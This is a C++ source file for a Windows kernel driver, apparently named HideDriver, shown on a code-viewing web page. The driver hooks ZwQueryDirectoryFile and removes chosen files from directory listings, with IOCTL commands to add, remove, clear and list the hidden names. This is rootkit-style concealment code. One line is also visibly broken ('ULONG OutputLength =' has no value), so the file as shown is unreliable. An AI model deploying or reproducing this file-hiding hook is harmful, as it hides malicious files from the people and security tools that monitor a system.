?? hookfile.cpp
字號:
#include "HookFile.h"
/////////////////////////////////////////////////////////////////////////////////////////
extern "C"
{
/*Pointer to NtQueryDirectoryFile function*/
NtQueryDirFile TrueNtQueryDirectoryFile;
/*NewNtQueryDirectoryFile: hooking version of NtQueryDirectoryFile function*/
NTSTATUS NewNtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
/*defined in main.cpp*/
NTSTATUS CompleteIrp( PIRP Irp, NTSTATUS status, ULONG info);
};
// Synchronization object
static wrSync sFileWRSync;
// Files to hide
// First - File Path, Second - File Name
typedef std::vector<std::pair<UNICODE_STRING,UNICODE_STRING> > FileNames;
static FileNames sFileNames;
/////////////////////////////////////////////////////////////////////////////////////////
NTSTATUS AddFileName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
DbgPrint("-HideDriver- Add File Name - Input string: %ws\n",pBuf);
UNICODE_STRING FileName;
UNICODE_STRING FilePath;
WCHAR* pBufFilePath = new WCHAR[buf_size/2];
memcpy(pBufFilePath,pBuf,buf_size);
RtlInitUnicodeString(&FilePath,pBufFilePath);
RtlInitUnicodeString(&FileName,NULL);
// Get file name
for(int i=FilePath.Length;i>=0;--i)
{
if(FilePath.Buffer[i] == L'\\')
{
i++;
size_t NameSize = FilePath.Length - i;
WCHAR* pBuf_temp_name = new WCHAR[NameSize/2+1];
memcpy(pBuf_temp_name,pBuf+i,NameSize);
RtlInitUnicodeString(&FileName,pBuf_temp_name);
break;
}
}
DbgPrint("FILE NAME: %ws\n",FileName.Buffer);
// ..
sFileWRSync.WaitToWrite();
sFileNames.push_back(std::make_pair(FilePath,FileName));
sFileWRSync.Done();
*pBuf= HOOK_SUCCESS;
*BytesTxd = 1;
return STATUS_SUCCESS;
}
NTSTATUS DelFileName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
DbgPrint("-HideDriver- Del File Name - Input string: %ws\n",pBuf);
UNICODE_STRING myUStr;
RtlInitUnicodeString(&myUStr,pBuf);
sFileWRSync.WaitToWrite();
FileNames::iterator it = sFileNames.begin();
while(sFileNames.end() != it)
{
if(RtlCompareUnicodeString(&myUStr,&( (*it).first ),FALSE) == 0)
{
// Cleanup buffer
delete[] (*it).first.Buffer;
delete[] (*it).second.Buffer;
// Delete from array
sFileNames.erase(it);
sFileWRSync.Done();
*pBuf= HOOK_SUCCESS;
*BytesTxd = 1;
return STATUS_SUCCESS;
}
++it;
}
sFileWRSync.Done();
return STATUS_INVALID_DEVICE_REQUEST;
}
NTSTATUS ClearFileNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
DbgPrint("-HideDriver- Clear File Names\n");
sFileWRSync.WaitToWrite();
FileNames::iterator it = sFileNames.begin();
while(sFileNames.end() != it)
{
delete[] (*it).first.Buffer;
delete[] (*it).second.Buffer;
++it;
}
sFileNames.clear();
sFileWRSync.Done();
*pBuf = HOOK_SUCCESS;
*BytesTxd = 1;
return STATUS_SUCCESS;
}
NTSTATUS QueryFileNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
DbgPrint("-HideDriver- Query File Names\n");
sFileWRSync.WaitToRead();
ULONG nIndex=0;
FileNames::iterator it = sFileNames.begin();
while(sFileNames.end() != it)
{
size_t str_size = (*it).first.Length;
if((str_size + nIndex) > out_buf_size)
{
sFileWRSync.Done();
return STATUS_INVALID_PARAMETER;
}
memcpy((char*)pBuf + nIndex,(*it).first.Buffer,str_size);
nIndex+=str_size;
memcpy((char*)pBuf + nIndex,L"\n",2);
nIndex+=2;
++it;
}
sFileWRSync.Done();
memcpy((char*)pBuf + nIndex,L"\0",2);
nIndex+=2;
*BytesTxd = nIndex;
return STATUS_SUCCESS;
}
NTSTATUS HookFileIrpRoutine(PIRP pIrp)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
NTSTATUS status = STATUS_SUCCESS;
ULONG BytesTxd =0; // Number of transmitted,received bytes
PIO_STACK_LOCATION IrpStack=IoGetCurrentIrpStackLocation(pIrp);
// Getting the IOCTL code
ULONG ControlCode =
IrpStack->Parameters.DeviceIoControl.IoControlCode;
// Getting the exchange method
//selection of the first two bits
ULONG method = ControlCode & 0x03;
if(method!=METHOD_BUFFERED)
return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd);
ULONG InputLength =
IrpStack->Parameters.DeviceIoControl.InputBufferLength;
ULONG OutputLength =
if( OutputLength < 1 || InputLength < 1)
return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd);
WCHAR *buff;
buff = (PWCHAR)pIrp->AssociatedIrp.SystemBuffer;
switch( ControlCode)
{
case IOCTL_ADD_FILE_NAME:
status = AddFileName(buff,InputLength,OutputLength,&BytesTxd); break;
case IOCTL_DEL_FILE_NAME:
status = DelFileName(buff,InputLength,OutputLength,&BytesTxd); break;
case IOCTL_CLEAR_FILE_NAME:
status = ClearFileNames(buff,InputLength,OutputLength,&BytesTxd); break;
case IOCTL_QUERY_FILE_NAME:
status = QueryFileNames(buff,InputLength,OutputLength,&BytesTxd); break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
}
return CompleteIrp(pIrp,status,BytesTxd);
}
void HookFileInit(HookMng& refHookMng,QueryMng& refQueryMng)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
UNICODE_STRING funcUnicodeStr_file;
RtlInitUnicodeString(&funcUnicodeStr_file,L"ZwQueryDirectoryFile");
std::auto_ptr<Hook> pNewHook(
CreateHook( NewNtQueryDirectoryFile,
&funcUnicodeStr_file));
TrueNtQueryDirectoryFile = (NtQueryDirFile)pNewHook->mpTrueFuncPtr;
if(!refHookMng.QueueHook(*pNewHook))
DbgPrint("Hook installing error2\n");
// Irp processing routines
refQueryMng.AddRoutine(IOCTL_ADD_FILE_NAME,&HookFileIrpRoutine);
refQueryMng.AddRoutine(IOCTL_DEL_FILE_NAME,&HookFileIrpRoutine);
refQueryMng.AddRoutine(IOCTL_CLEAR_FILE_NAME,&HookFileIrpRoutine);
refQueryMng.AddRoutine(IOCTL_QUERY_FILE_NAME,&HookFileIrpRoutine);
}
void HookFileExit()
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
sFileWRSync.WaitToWrite();
FileNames::iterator it = sFileNames.begin();
while(sFileNames.end() != it)
{
delete[] (*it).first.Buffer;
delete[] (*it).second.Buffer;
++it;
}
sFileNames.clear();
sFileWRSync.Done();
}
bool CheckFileName(UNICODE_STRING* pFileName)
/*++
Routine Description:
Checks if file should be hided by file name
Arguments:
Return Value:
--*/
{
sFileWRSync.WaitToRead();
FileNames::iterator it = sFileNames.begin();
while(sFileNames.end() != it)
{
if(RtlCompareUnicodeString(&( (*it).second ),pFileName,FALSE) == 0)
{
sFileWRSync.Done();
return true;
}
++it;
}
sFileWRSync.Done();
return false;
}
bool CheckFilePath(HANDLE FileHandle,UNICODE_STRING* pFileName)
/*++
Routine Description:
Checks if file should be hided by file path
Arguments:
Return Value:
--*/
{
UNICODE_STRING pDevName;
PFILE_OBJECT file_obj;
PDEVICE_OBJECT dev_obj;
NTSTATUS ret_status;
ret_status=ObReferenceObjectByHandle(FileHandle,FILE_ALL_ACCESS,*IoFileObjectType,
KernelMode,(PVOID*)(&file_obj),NULL);
dev_obj = file_obj->DeviceObject;
RtlVolumeDeviceToDosName(dev_obj,&pDevName);
ObDereferenceObject(file_obj);
//DbgPrint("%ws%ws%ws\n",pDevName.Buffer,file_obj->FileName.Buffer,pFileName->Buffer);
return true;
}
template<class T>
NTSTATUS HideFile(HANDLE FileHandle,PVOID FileInformation)
/*++
Routine Description:
Hides selected files
Arguments:
Return Value:
--*/
{
ULONG PreviousDelta=0;
UNICODE_STRING UnicodeFileName;
RtlInitUnicodeString(&UnicodeFileName,NULL);
T pFileInfo=reinterpret_cast<T>(FileInformation);
// The loop for finding and remounting files,which should be hided, from the array
bool pass_me_once=true;
while( (pFileInfo->NextEntryOffset != 0) || pass_me_once)
{
if(pass_me_once)
pass_me_once=false;
else
{
// move to the next file in the array
PreviousDelta = pFileInfo->NextEntryOffset;
pFileInfo = (T)(((PUCHAR)pFileInfo)+pFileInfo->NextEntryOffset);
}
UnicodeFileName.Buffer = pFileInfo->FileName;
UnicodeFileName.Length = pFileInfo->FileNameLength;
// check file name
if( !CheckFileName(&UnicodeFileName) )
continue;
// check file full path
if( !CheckFilePath(FileHandle,&UnicodeFileName) )
continue;
DbgPrint("%ws\n",pFileInfo->FileName);
// if the file is first
if(PreviousDelta == 0)
{
// if there are no any file
if( pFileInfo->NextEntryOffset == 0 )
return STATUS_SUCCESS;
//return STATUS_NO_MORE_FILES;
//if other files exist, erasing current file
//by moving the remain array`s elements to the beginning
ULONG shift = pFileInfo->NextEntryOffset;
//Calculate the buffer size
ULONG totalSize=0;
T ptempFileInfo=(T)pFileInfo;
while(ptempFileInfo->NextEntryOffset != 0)
{
// calculate size
totalSize+=ptempFileInfo->NextEntryOffset;
// shift to the next file in the array
ptempFileInfo = (T)(((PUCHAR)ptempFileInfo)+ptempFileInfo->NextEntryOffset);
}
// subtract the size of the first element in the array
size_t MoveSize = (size_t)(totalSize-shift);
// add the size of the last element
MoveSize += sizeof(*ptempFileInfo);
// add the Filename`s length of the last element
MoveSize += ptempFileInfo->FileNameLength;
//we already have definition WCHAR FileName[1](2 bytes)
//so we need delete it from general sum
MoveSize -= 2;
// shift array to one element
memcpy((PVOID)pFileInfo,(PUCHAR)pFileInfo+(size_t)(shift),MoveSize);
//start the loop from the beginning
pass_me_once=true;
PreviousDelta = 0;
continue;
}
// if the file isn`t the first,
// save the current offset
ULONG curentDelta=pFileInfo->NextEntryOffset;
// go to one file back
pFileInfo = (T)(((PUCHAR)pFileInfo)-PreviousDelta);
// if the file is the last
if(curentDelta == 0 )
{
// set the offset in 0
// as the last file in array
pFileInfo->NextEntryOffset = 0;
break;
}
//if the file isn`t the last, hide file and set additional offset
pFileInfo->NextEntryOffset = PreviousDelta + curentDelta;
}//while(pFileInfo->NextEntryDelta != 0)
return STATUS_SUCCESS;
}
NTSTATUS NewNtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
)
/*++
Routine Description:
Arguments:
Return Value:
--*/
{
NTSTATUS status=TrueNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,
FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry, FileName , RestartScan);
if(!NT_SUCCESS(status))return status;
switch(FileInformationClass)
{
case FileDirectoryInformation:
return HideFile<PFILE_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
case FileFullDirectoryInformation:
return HideFile<PFILE_FULL_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
case FileBothDirectoryInformation:
return HideFile<PFILE_BOTH_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
case FileNamesInformation:
return HideFile<PFILE_NAMES_INFORMATION>(FileHandle,FileInformation);
case FileIdBothDirectoryInformation:
return HideFile<PFILE_ID_BOTH_DIR_INFORMATION>(FileHandle,FileInformation);
case FileIdFullDirectoryInformation:
return HideFile<PFILE_ID_FULL_DIR_INFORMATION>(FileHandle,FileInformation);
default:return status;
}
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -